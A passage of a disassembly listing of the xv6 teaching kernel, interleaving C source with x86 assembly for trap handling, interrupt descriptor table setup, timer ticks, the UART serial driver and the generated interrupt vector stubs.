0x0(%edi,%eiz,1),%edi release(&tickslock); 801058f0: 83 ec 0c sub $0xc,%esp 801058f3: 68 60 4f 11 80 push $0x80114f60 801058f8: e8 13 ee ff ff call 80104710 <release> return 0; 801058fd: 83 c4 10 add $0x10,%esp 80105900: 31 c0 xor %eax,%eax } 80105902: 8b 5d fc mov -0x4(%ebp),%ebx 80105905: c9 leave 80105906: c3 ret return -1; 80105907: b8 ff ff ff ff mov $0xffffffff,%eax 8010590c: eb f4 jmp 80105902 <sys_sleep+0xa2> 8010590e: 66 90 xchg %ax,%ax 80105910 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 80105910: 55 push %ebp 80105911: 89 e5 mov %esp,%ebp 80105913: 53 push %ebx 80105914: 83 ec 10 sub $0x10,%esp uint xticks; acquire(&tickslock); 80105917: 68 60 4f 11 80 push $0x80114f60 8010591c: e8 2f ed ff ff call 80104650 <acquire> xticks = ticks; 80105921: 8b 1d a0 57 11 80 mov 0x801157a0,%ebx release(&tickslock); 80105927: c7 04 24 60 4f 11 80 movl $0x80114f60,(%esp) 8010592e: e8 dd ed ff ff call 80104710 <release> return xticks; } 80105933: 89 d8 mov %ebx,%eax 80105935: 8b 5d fc mov -0x4(%ebp),%ebx 80105938: c9 leave 80105939: c3 ret 8010593a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105940 <sys_crsp>: int sys_crsp( void ) { 80105940: 55 push %ebp 80105941: 89 e5 mov %esp,%ebp return crsp(); } 80105943: 5d pop %ebp return crsp(); 80105944: e9 e7 e9 ff ff jmp 80104330 <crsp> 80105949 <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 80105949: 1e push %ds pushl %es 8010594a: 06 push %es pushl %fs 8010594b: 0f a0 push %fs pushl %gs 8010594d: 0f a8 push %gs pushal 8010594f: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105950: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 80105954: 8e d8 mov %eax,%ds movw %ax, %es 80105956: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 80105958: 54 push %esp call trap 80105959: e8 c2 00 00 00 call 80105a20 <trap> addl $4, %esp 8010595e: 83 c4 04 add $0x4,%esp 80105961 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105961: 61 popa popl %gs 80105962: 0f a9 pop %gs popl %fs 80105964: 0f a1 pop %fs popl %es 80105966: 07 pop %es popl %ds 80105967: 1f pop %ds addl $0x8, %esp # trapno and errcode 80105968: 83 c4 08 add $0x8,%esp iret 8010596b: cf iret 8010596c: 66 90 xchg %ax,%ax 8010596e: 66 90 xchg %ax,%ax 80105970 <tvinit>: struct spinlock tickslock; uint ticks; void tvinit(void) { 80105970: 55 push %ebp int i; for(i = 0; i < 256; i++) 80105971: 31 c0 xor %eax,%eax { 80105973: 89 e5 mov %esp,%ebp 80105975: 83 ec 08 sub $0x8,%esp 80105978: 90 nop 80105979: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105980: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 80105987: c7 04 c5 a2 4f 11 80 movl $0x8e000008,-0x7feeb05e(,%eax,8) 8010598e: 08 00 00 8e 80105992: 66 89 14 c5 a0 4f 11 mov %dx,-0x7feeb060(,%eax,8) 80105999: 80 8010599a: c1 ea 10 shr $0x10,%edx 8010599d: 66 89 14 c5 a6 4f 11 mov %dx,-0x7feeb05a(,%eax,8) 801059a4: 80 for(i = 0; i < 256; i++) 801059a5: 83 c0 01 add $0x1,%eax 801059a8: 3d 00 01 00 00 cmp $0x100,%eax 801059ad: 75 d1 jne 80105980 <tvinit+0x10> SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801059af: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 801059b4: 83 ec 08 sub $0x8,%esp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801059b7: c7 05 a2 51 11 80 08 movl $0xef000008,0x801151a2 801059be: 00 00 ef initlock(&tickslock, "time"); 801059c1: 68 9d 7a 10 80 push $0x80107a9d 801059c6: 68 60 4f 11 80 push $0x80114f60 SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801059cb: 66 a3 a0 51 11 80 mov %ax,0x801151a0 801059d1: c1 e8 10 shr $0x10,%eax 801059d4: 66 a3 a6 51 11 80 mov %ax,0x801151a6 initlock(&tickslock, "time"); 801059da: e8 31 eb ff ff call 80104510 <initlock> } 801059df: 83 c4 10 add $0x10,%esp 801059e2: c9 leave 801059e3: c3 ret 801059e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801059ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801059f0 <idtinit>: void idtinit(void) { 801059f0: 55 push %ebp pd[0] = size-1; 801059f1: b8 ff 07 00 00 mov $0x7ff,%eax 801059f6: 89 e5 mov %esp,%ebp 801059f8: 83 ec 10 sub $0x10,%esp 801059fb: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 801059ff: b8 a0 4f 11 80 mov $0x80114fa0,%eax 80105a04: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80105a08: c1 e8 10 shr $0x10,%eax 80105a0b: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 80105a0f: 8d 45 fa lea -0x6(%ebp),%eax 80105a12: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 80105a15: c9 leave 80105a16: c3 ret 80105a17: 89 f6 mov %esi,%esi 80105a19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105a20 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80105a20: 55 push %ebp 80105a21: 89 e5 mov %esp,%ebp 80105a23: 57 push %edi 80105a24: 56 push %esi 80105a25: 53 push %ebx 80105a26: 83 ec 1c sub $0x1c,%esp 80105a29: 8b 7d 08 mov 0x8(%ebp),%edi if(tf->trapno == T_SYSCALL){ 80105a2c: 8b 47 30 mov 0x30(%edi),%eax 80105a2f: 83 f8 40 cmp $0x40,%eax 80105a32: 0f 84 f0 00 00 00 je 80105b28 <trap+0x108> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105a38: 83 e8 20 sub $0x20,%eax 80105a3b: 83 f8 1f cmp $0x1f,%eax 80105a3e: 77 10 ja 80105a50 <trap+0x30> 80105a40: ff 24 85 44 7b 10 80 jmp *-0x7fef84bc(,%eax,4) 80105a47: 89 f6 mov %esi,%esi 80105a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105a50: e8 ab dd ff ff call 80103800 <myproc> 80105a55: 85 c0 test %eax,%eax 80105a57: 8b 5f 38 mov 0x38(%edi),%ebx 80105a5a: 0f 84 14 02 00 00 je 80105c74 <trap+0x254> 80105a60: f6 47 3c 03 testb $0x3,0x3c(%edi) 80105a64: 0f 84 0a 02 00 00 je 80105c74 <trap+0x254> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 80105a6a: 0f 20 d1 mov %cr2,%ecx 80105a6d: 89 4d d8 mov %ecx,-0x28(%ebp) cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105a70: e8 6b dd ff ff call 801037e0 <cpuid> 80105a75: 89 45 dc mov %eax,-0x24(%ebp) 80105a78: 8b 47 34 mov 0x34(%edi),%eax 80105a7b: 8b 77 30 mov 0x30(%edi),%esi 80105a7e: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 80105a81: e8 7a dd ff ff call 80103800 <myproc> 80105a86: 89 45 e0 mov %eax,-0x20(%ebp) 80105a89: e8 72 dd ff ff call 80103800 <myproc> cprintf("pid %d %s: trap %d err %d on cpu %d " 80105a8e: 8b 4d d8 mov -0x28(%ebp),%ecx 80105a91: 8b 55 dc mov -0x24(%ebp),%edx 80105a94: 51 push %ecx 80105a95: 53 push %ebx 80105a96: 52 push %edx myproc()->pid, myproc()->name, tf->trapno, 80105a97: 8b 55 e0 mov -0x20(%ebp),%edx cprintf("pid %d %s: trap %d err %d on cpu %d " 80105a9a: ff 75 e4 pushl -0x1c(%ebp) 80105a9d: 56 push %esi myproc()->pid, myproc()->name, tf->trapno, 80105a9e: 83 c2 6c add $0x6c,%edx cprintf("pid %d %s: trap %d err %d on cpu %d " 80105aa1: 52 push %edx 80105aa2: ff 70 10 pushl 0x10(%eax) 80105aa5: 68 00 7b 10 80 push $0x80107b00 80105aaa: e8 b1 ab ff ff call 80100660 <cprintf> tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 80105aaf: 83 c4 20 add $0x20,%esp 80105ab2: e8 49 dd ff ff call 80103800 <myproc> 80105ab7: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105abe: e8 3d dd ff ff call 80103800 <myproc> 80105ac3: 85 c0 test %eax,%eax 80105ac5: 74 1d je 80105ae4 <trap+0xc4> 80105ac7: e8 34 dd ff ff call 80103800 <myproc> 80105acc: 8b 50 24 mov 0x24(%eax),%edx 80105acf: 85 d2 test %edx,%edx 80105ad1: 74 11 je 80105ae4 <trap+0xc4> 80105ad3: 0f b7 47 3c movzwl 0x3c(%edi),%eax 80105ad7: 83 e0 03 and $0x3,%eax 80105ada: 66 83 f8 03 cmp $0x3,%ax 80105ade: 0f 84 4c 01 00 00 je 80105c30 <trap+0x210> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 80105ae4: e8 17 dd ff ff call 80103800 <myproc> 80105ae9: 85 c0 test %eax,%eax 80105aeb: 74 0b je 80105af8 <trap+0xd8> 80105aed: e8 0e dd ff ff call 80103800 <myproc> 80105af2: 83 78 0c 04 cmpl $0x4,0xc(%eax) 80105af6: 74 68 je 80105b60 <trap+0x140> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105af8: e8 03 dd ff ff call 80103800 <myproc> 80105afd: 85 c0 test %eax,%eax 80105aff: 74 19 je 80105b1a <trap+0xfa> 80105b01: e8 fa dc ff ff call 80103800 <myproc> 80105b06: 8b 40 24 mov 0x24(%eax),%eax 80105b09: 85 c0 test %eax,%eax 80105b0b: 74 0d je 80105b1a <trap+0xfa> 80105b0d: 0f b7 47 3c movzwl 0x3c(%edi),%eax 80105b11: 83 e0 03 and $0x3,%eax 80105b14: 66 83 f8 03 cmp $0x3,%ax 80105b18: 74 37 je 80105b51 <trap+0x131> exit(); } 80105b1a: 8d 65 f4 lea -0xc(%ebp),%esp 80105b1d: 5b pop %ebx 80105b1e: 5e pop %esi 80105b1f: 5f pop %edi 80105b20: 5d pop %ebp 80105b21: c3 ret 80105b22: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(myproc()->killed) 80105b28: e8 d3 dc ff ff call 80103800 <myproc> 80105b2d: 8b 58 24 mov 0x24(%eax),%ebx 80105b30: 85 db test %ebx,%ebx 80105b32: 0f 85 e8 00 00 00 jne 80105c20 <trap+0x200> myproc()->tf = tf; 80105b38: e8 c3 dc ff ff call 80103800 <myproc> 80105b3d: 89 78 18 mov %edi,0x18(%eax) syscall(); 80105b40: e8 0b f0 ff ff call 80104b50 <syscall> if(myproc()->killed) 80105b45: e8 b6 dc ff ff call 80103800 <myproc> 80105b4a: 8b 48 24 mov 0x24(%eax),%ecx 80105b4d: 85 c9 test %ecx,%ecx 80105b4f: 74 c9 je 80105b1a <trap+0xfa> } 80105b51: 8d 65 f4 lea -0xc(%ebp),%esp 80105b54: 5b pop %ebx 80105b55: 5e pop %esi 80105b56: 5f pop %edi 80105b57: 5d pop %ebp exit(); 80105b58: e9 e3 e2 ff ff jmp 80103e40 <exit> 80105b5d: 8d 76 00 lea 0x0(%esi),%esi if(myproc() && myproc()->state == RUNNING && 80105b60: 83 7f 30 20 cmpl $0x20,0x30(%edi) 80105b64: 75 92 jne 80105af8 <trap+0xd8> yield(); 80105b66: e8 05 e4 ff ff call 80103f70 <yield> 80105b6b: eb 8b jmp 80105af8 <trap+0xd8> 80105b6d: 8d 76 00 lea 0x0(%esi),%esi if(cpuid() == 0){ 80105b70: e8 6b dc ff ff call 801037e0 <cpuid> 80105b75: 85 c0 test %eax,%eax 80105b77: 0f 84 c3 00 00 00 je 80105c40 <trap+0x220> lapiceoi(); 80105b7d: e8 ce cb ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105b82: e8 79 dc ff ff call 80103800 <myproc> 80105b87: 85 c0 test %eax,%eax 80105b89: 0f 85 38 ff ff ff jne 80105ac7 <trap+0xa7> 80105b8f: e9 50 ff ff ff jmp 80105ae4 <trap+0xc4> 80105b94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kbdintr(); 80105b98: e8 73 ca ff ff call 80102610 <kbdintr> lapiceoi(); 80105b9d: e8 ae cb ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105ba2: e8 59 dc ff ff call 80103800 <myproc> 80105ba7: 85 c0 test %eax,%eax 80105ba9: 0f 85 18 ff ff ff jne 80105ac7 <trap+0xa7> 80105baf: e9 30 ff ff ff jmp 80105ae4 <trap+0xc4> 80105bb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uartintr(); 80105bb8: e8 53 02 00 00 call 80105e10 <uartintr> lapiceoi(); 80105bbd: e8 8e cb ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105bc2: e8 39 dc ff ff call 80103800 <myproc> 80105bc7: 85 c0 test %eax,%eax 80105bc9: 0f 85 f8 fe ff ff jne 80105ac7 <trap+0xa7> 80105bcf: e9 10 ff ff ff jmp 80105ae4 <trap+0xc4> 80105bd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("cpu%d: spurious interrupt at %x:%x\n", 80105bd8: 0f b7 5f 3c movzwl 0x3c(%edi),%ebx 80105bdc: 8b 77 38 mov 0x38(%edi),%esi 80105bdf: e8 fc db ff ff call 801037e0 <cpuid> 80105be4: 56 push %esi 80105be5: 53 push %ebx 80105be6: 50 push %eax 80105be7: 68 a8 7a 10 80 push $0x80107aa8 80105bec: e8 6f aa ff ff call 80100660 <cprintf> lapiceoi(); 80105bf1: e8 5a cb ff ff call 80102750 <lapiceoi> break; 80105bf6: 83 c4 10 add $0x10,%esp if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105bf9: e8 02 dc ff ff call 80103800 <myproc> 80105bfe: 85 c0 test %eax,%eax 80105c00: 0f 85 c1 fe ff ff jne 80105ac7 <trap+0xa7> 80105c06: e9 d9 fe ff ff jmp 80105ae4 <trap+0xc4> 80105c0b: 90 nop 80105c0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ideintr(); 80105c10: e8 6b c4 ff ff call 80102080 <ideintr> 80105c15: e9 63 ff ff ff jmp 80105b7d <trap+0x15d> 80105c1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exit(); 80105c20: e8 1b e2 ff ff call 80103e40 <exit> 80105c25: e9 0e ff ff ff jmp 80105b38 <trap+0x118> 80105c2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exit(); 80105c30: e8 0b e2 ff ff call 80103e40 <exit> 80105c35: e9 aa fe ff ff jmp 80105ae4 <trap+0xc4> 80105c3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi acquire(&tickslock); 80105c40: 83 ec 0c sub $0xc,%esp 80105c43: 68 60 4f 11 80 push $0x80114f60 80105c48: e8 03 ea ff ff call 80104650 <acquire> wakeup(&ticks); 80105c4d: c7 04 24 a0 57 11 80 movl $0x801157a0,(%esp) ticks++; 80105c54: 83 05 a0 57 11 80 01 addl $0x1,0x801157a0 wakeup(&ticks); 80105c5b: e8 20 e5 ff ff call 80104180 <wakeup> release(&tickslock); 80105c60: c7 04 24 60 4f 11 80 movl $0x80114f60,(%esp) 80105c67: e8 a4 ea ff ff call 80104710 <release> 80105c6c: 83 c4 10 add $0x10,%esp 80105c6f: e9 09 ff ff ff jmp 80105b7d <trap+0x15d> 80105c74: 0f 20 d6 mov %cr2,%esi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80105c77: e8 64 db ff ff call 801037e0 <cpuid> 80105c7c: 83 ec 0c sub $0xc,%esp 80105c7f: 56 push %esi 80105c80: 53 push %ebx 80105c81: 50 push %eax 80105c82: ff 77 30 pushl 0x30(%edi) 80105c85: 68 cc 7a 10 80 push $0x80107acc 80105c8a: e8 d1 a9 ff ff call 80100660 <cprintf> panic("trap"); 80105c8f: 83 c4 14 add $0x14,%esp 80105c92: 68 a2 7a 10 80 push $0x80107aa2 80105c97: e8 f4 a6 ff ff call 80100390 <panic> 80105c9c: 66 90 xchg %ax,%ax 80105c9e: 66 90 xchg %ax,%ax 80105ca0 <uartgetc>: } static int uartgetc(void) { if(!uart) 80105ca0: a1 bc a5 10 80 mov 0x8010a5bc,%eax { 80105ca5: 55 push %ebp 80105ca6: 89 e5 mov %esp,%ebp if(!uart) 80105ca8: 85 c0 test %eax,%eax 80105caa: 74 1c je 80105cc8 <uartgetc+0x28> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105cac: ba fd 03 00 00 mov $0x3fd,%edx 80105cb1: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 80105cb2: a8 01 test $0x1,%al 80105cb4: 74 12 je 80105cc8 <uartgetc+0x28> 80105cb6: ba f8 03 00 00 mov $0x3f8,%edx 80105cbb: ec in (%dx),%al return -1; return inb(COM1+0); 80105cbc: 0f b6 c0 movzbl %al,%eax } 80105cbf: 5d pop %ebp 80105cc0: c3 ret 80105cc1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105cc8: b8 ff ff ff ff mov $0xffffffff,%eax } 80105ccd: 5d pop %ebp 80105cce: c3 ret 80105ccf: 90 nop 80105cd0 <uartputc.part.0>: uartputc(int c) 80105cd0: 55 push %ebp 80105cd1: 89 e5 mov %esp,%ebp 80105cd3: 57 push %edi 80105cd4: 56 push %esi 80105cd5: 53 push %ebx 80105cd6: 89 c7 mov %eax,%edi 80105cd8: bb 80 00 00 00 mov $0x80,%ebx 80105cdd: be fd 03 00 00 mov $0x3fd,%esi 80105ce2: 83 ec 0c sub $0xc,%esp 80105ce5: eb 1b jmp 80105d02 <uartputc.part.0+0x32> 80105ce7: 89 f6 mov %esi,%esi 80105ce9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi microdelay(10); 80105cf0: 83 ec 0c sub $0xc,%esp 80105cf3: 6a 0a push $0xa 80105cf5: e8 76 ca ff ff call 80102770 <microdelay> for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80105cfa: 83 c4 10 add $0x10,%esp 80105cfd: 83 eb 01 sub $0x1,%ebx 80105d00: 74 07 je 80105d09 <uartputc.part.0+0x39> 80105d02: 89 f2 mov %esi,%edx 80105d04: ec in (%dx),%al 80105d05: a8 20 test $0x20,%al 80105d07: 74 e7 je 80105cf0 <uartputc.part.0+0x20> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80105d09: ba f8 03 00 00 mov $0x3f8,%edx 80105d0e: 89 f8 mov %edi,%eax 80105d10: ee out %al,(%dx) } 80105d11: 8d 65 f4 lea -0xc(%ebp),%esp 80105d14: 5b pop %ebx 80105d15: 5e pop %esi 80105d16: 5f pop %edi 80105d17: 5d pop %ebp 80105d18: c3 ret 80105d19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105d20 <uartinit>: { 80105d20: 55 push %ebp 80105d21: 31 c9 xor %ecx,%ecx 80105d23: 89 c8 mov %ecx,%eax 80105d25: 89 e5 mov %esp,%ebp 80105d27: 57 push %edi 80105d28: 56 push %esi 80105d29: 53 push %ebx 80105d2a: bb fa 03 00 00 mov $0x3fa,%ebx 80105d2f: 89 da mov %ebx,%edx 80105d31: 83 ec 0c sub $0xc,%esp 80105d34: ee out %al,(%dx) 80105d35: bf fb 03 00 00 mov $0x3fb,%edi 80105d3a: b8 80 ff ff ff mov $0xffffff80,%eax 80105d3f: 89 fa mov %edi,%edx 80105d41: ee out %al,(%dx) 80105d42: b8 0c 00 00 00 mov $0xc,%eax 80105d47: ba f8 03 00 00 mov $0x3f8,%edx 80105d4c: ee out %al,(%dx) 80105d4d: be f9 03 00 00 mov $0x3f9,%esi 80105d52: 89 c8 mov %ecx,%eax 80105d54: 89 f2 mov %esi,%edx 80105d56: ee out %al,(%dx) 80105d57: b8 03 00 00 00 mov $0x3,%eax 80105d5c: 89 fa mov %edi,%edx 80105d5e: ee out %al,(%dx) 80105d5f: ba fc 03 00 00 mov $0x3fc,%edx 80105d64: 89 c8 mov %ecx,%eax 80105d66: ee out %al,(%dx) 80105d67: b8 01 00 00 00 mov $0x1,%eax 80105d6c: 89 f2 mov %esi,%edx 80105d6e: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105d6f: ba fd 03 00 00 mov $0x3fd,%edx 80105d74: ec in (%dx),%al if(inb(COM1+5) == 0xFF) 80105d75: 3c ff cmp $0xff,%al 80105d77: 74 5a je 80105dd3 <uartinit+0xb3> uart = 1; 80105d79: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc 80105d80: 00 00 00 80105d83: 89 da mov %ebx,%edx 80105d85: ec in (%dx),%al 80105d86: ba f8 03 00 00 mov $0x3f8,%edx 80105d8b: ec in (%dx),%al ioapicenable(IRQ_COM1, 0); 80105d8c: 83 ec 08 sub $0x8,%esp for(p="xv6...\n"; *p; p++) 80105d8f: bb c4 7b 10 80 mov $0x80107bc4,%ebx ioapicenable(IRQ_COM1, 0); 80105d94: 6a 00 push $0x0 80105d96: 6a 04 push $0x4 80105d98: e8 33 c5 ff ff call 801022d0 <ioapicenable> 80105d9d: 83 c4 10 add $0x10,%esp for(p="xv6...\n"; *p; p++) 80105da0: b8 78 00 00 00 mov $0x78,%eax 80105da5: eb 13 jmp 80105dba <uartinit+0x9a> 80105da7: 89 f6 mov %esi,%esi 80105da9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105db0: 83 c3 01 add $0x1,%ebx 80105db3: 0f be 03 movsbl (%ebx),%eax 80105db6: 84 c0 test %al,%al 80105db8: 74 19 je 80105dd3 <uartinit+0xb3> if(!uart) 80105dba: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx 80105dc0: 85 d2 test %edx,%edx 80105dc2: 74 ec je 80105db0 <uartinit+0x90> for(p="xv6...\n"; *p; p++) 80105dc4: 83 c3 01 add $0x1,%ebx 80105dc7: e8 04 ff ff ff call 80105cd0 <uartputc.part.0> 80105dcc: 0f be 03 movsbl (%ebx),%eax 80105dcf: 84 c0 test %al,%al 80105dd1: 75 e7 jne 80105dba <uartinit+0x9a> } 80105dd3: 8d 65 f4 lea -0xc(%ebp),%esp 80105dd6: 5b pop %ebx 80105dd7: 5e pop %esi 80105dd8: 5f pop %edi 80105dd9: 5d pop %ebp 80105dda: c3 ret 80105ddb: 90 nop 80105ddc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105de0 <uartputc>: if(!uart) 80105de0: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx { 80105de6: 55 push %ebp 80105de7: 89 e5 mov %esp,%ebp if(!uart) 80105de9: 85 d2 test %edx,%edx { 80105deb: 8b 45 08 mov 0x8(%ebp),%eax if(!uart) 80105dee: 74 10 je 80105e00 <uartputc+0x20> } 80105df0: 5d pop %ebp 80105df1: e9 da fe ff ff jmp 80105cd0 <uartputc.part.0> 80105df6: 8d 76 00 lea 0x0(%esi),%esi 80105df9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105e00: 5d pop %ebp 80105e01: c3 ret 80105e02: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105e10 <uartintr>: void uartintr(void) { 80105e10: 55 push %ebp 80105e11: 89 e5 mov %esp,%ebp 80105e13: 83 ec 14 sub $0x14,%esp consoleintr(uartgetc); 80105e16: 68 a0 5c 10 80 push $0x80105ca0 80105e1b: e8 f0 a9 ff ff call 80100810 <consoleintr> } 80105e20: 83 c4 10 add $0x10,%esp 80105e23: c9 leave 80105e24: c3 ret 80105e25 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 80105e25: 6a 00 push $0x0 pushl $0 80105e27: 6a 00 push $0x0 jmp alltraps 80105e29: e9 1b fb ff ff jmp 80105949 <alltraps> 80105e2e <vector1>: .globl vector1 vector1: pushl $0 80105e2e: 6a 00 push $0x0 pushl $1 80105e30: 6a 01 push $0x1 jmp alltraps 80105e32: e9 12 fb ff ff jmp 80105949 <alltraps> 80105e37 <vector2>: .globl vector2 vector2: pushl $0 80105e37: 6a 00 push $0x0 pushl $2 80105e39: 6a 02 push $0x2 jmp alltraps 80105e3b: e9 09 fb ff ff jmp 80105949 <alltraps> 80105e40 <vector3>: .globl vector3 vector3: pushl $0 80105e40: 6a 00 push $0x0 pushl $3 80105e42: 6a 03 push $0x3 jmp alltraps 80105e44: e9 00 fb ff ff jmp 80105949 <alltraps> 80105e49 <vector4>: .globl vector4 vector4: pushl $0 80105e49: 6a 00 push $0x0 pushl $4 80105e4b: 6a 04 push $0x4 jmp alltraps 80105e4d: e9 f7 fa ff ff jmp 80105949 <alltraps> 80105e52 <vector5>: .globl vector5 vector5: pushl $0 80105e52: 6a 00 push $0x0 pushl $5 80105e54: 6a 05 push $0x5 jmp alltraps 80105e56: e9 ee fa ff ff jmp 80105949 <alltraps> 80105e5b <vector6>: .globl vector6 vector6: pushl $0 80105e5b: 6a 00 push $0x0 pushl $6 80105e5d: 6a 06 push $0x6 jmp alltraps 80105e5f: e9 e5 fa ff ff jmp 80105949 <alltraps> 80105e64 <vector7>: .globl vector7 vector7: pushl $0 80105e64: 6a 00 push $0x0 pushl $7 80105e66: 6a 07 push $0x7 jmp alltraps 80105e68: e9 dc fa ff ff jmp 80105949 <alltraps> 80105e6d <vector8>: .globl vector8 vector8: pushl $8 80105e6d: 6a 08 push $0x8 jmp alltraps 80105e6f: e9 d5 fa ff ff jmp 80105949 <alltraps> 80105e74 <vector9>: .globl vector9 vector9: pushl $0 80105e74: 6a 00 push $0x0 pushl $9 80105e76: 6a 09 push $0x9 jmp alltraps 80105e78: e9 cc fa ff ff jmp 80105949 <alltraps> 80105e7d <vector10>: .globl vector10 vector10: pushl $10 80105e7d: 6a 0a push $0xa jmp alltraps 80105e7f: e9 c5 fa ff ff jmp 80105949 <alltraps> 80105e84 <vector11>: .globl vector11 vector11: pushl $11 80105e84: 6a 0b push $0xb jmp alltraps 80105e86: e9 be fa ff ff jmp 80105949 <alltraps> 80105e8b <vector12>: .globl vector12 vector12: pushl $12 80105e8b: 6a 0c push $0xc jmp alltraps 80105e8d: e9 b7 fa ff ff jmp 80105949 <alltraps> 80105e92 <vector13>: .globl vector13 vector13: pushl $13 80105e92: 6a 0d push $0xd jmp alltraps 80105e94: e9 b0 fa ff ff jmp 80105949 <alltraps> 80105e99 <vector14>: .globl vector14 vector14: pushl $14 80105e99: 6a 0e push $0xe jmp alltraps 80105e9b: e9 a9 fa ff ff jmp 80105949 <alltraps> 80105ea0 <vector15>: .globl vector15 vector15: pushl $0 80105ea0: 6a 00 push $0x0 pushl $15 80105ea2: 6a 0f push $0xf jmp alltraps 80105ea4: e9 a0 fa ff ff jmp 80105949 <alltraps> 80105ea9 <vector16>: .globl vector16 vector16: pushl $0 80105ea9: 6a 00 push $0x0 pushl $16 80105eab: 6a 10 push $0x10 jmp alltraps 80105ead: e9 97 fa ff ff jmp 80105949 <alltraps> 80105eb2 <vector17>: .globl vector17 vector17: pushl $17 80105eb2: 6a 11 push $0x11 jmp alltraps 80105eb4: e9 90 fa ff ff jmp 80105949 <alltraps> 80105eb9 <vector18>: .globl vector18 vector18: pushl $0 80105eb9: 6a 00 push $0x0 pushl $18 80105ebb: 6a 12 push $0x12 jmp alltraps 80105ebd: e9 87 fa ff ff jmp 80105949 <alltraps> 80105ec2 <vector19>: .globl vector19 vector19: pushl $0 80105ec2: 6a 00 push $0x0 pushl $19 80105ec4: 6a 13 push $0x13 jmp alltraps 80105ec6: e9 7e fa ff ff jmp 80105949 <alltraps> 80105ecb <vector20>: .globl vector20 vector20: pushl $0 80105ecb: 6a 00 push $0x0 pushl $20 80105ecd: 6a 14 push $0x14 jmp alltraps 80105ecf: e9 75 fa ff ff jmp 80105949 <alltraps> 80105ed4 <vector21>: .globl vector21 vector21: pushl $0 80105ed4: 6a 00 push $0x0 pushl $21 80105ed6: 6a 15 push $0x15 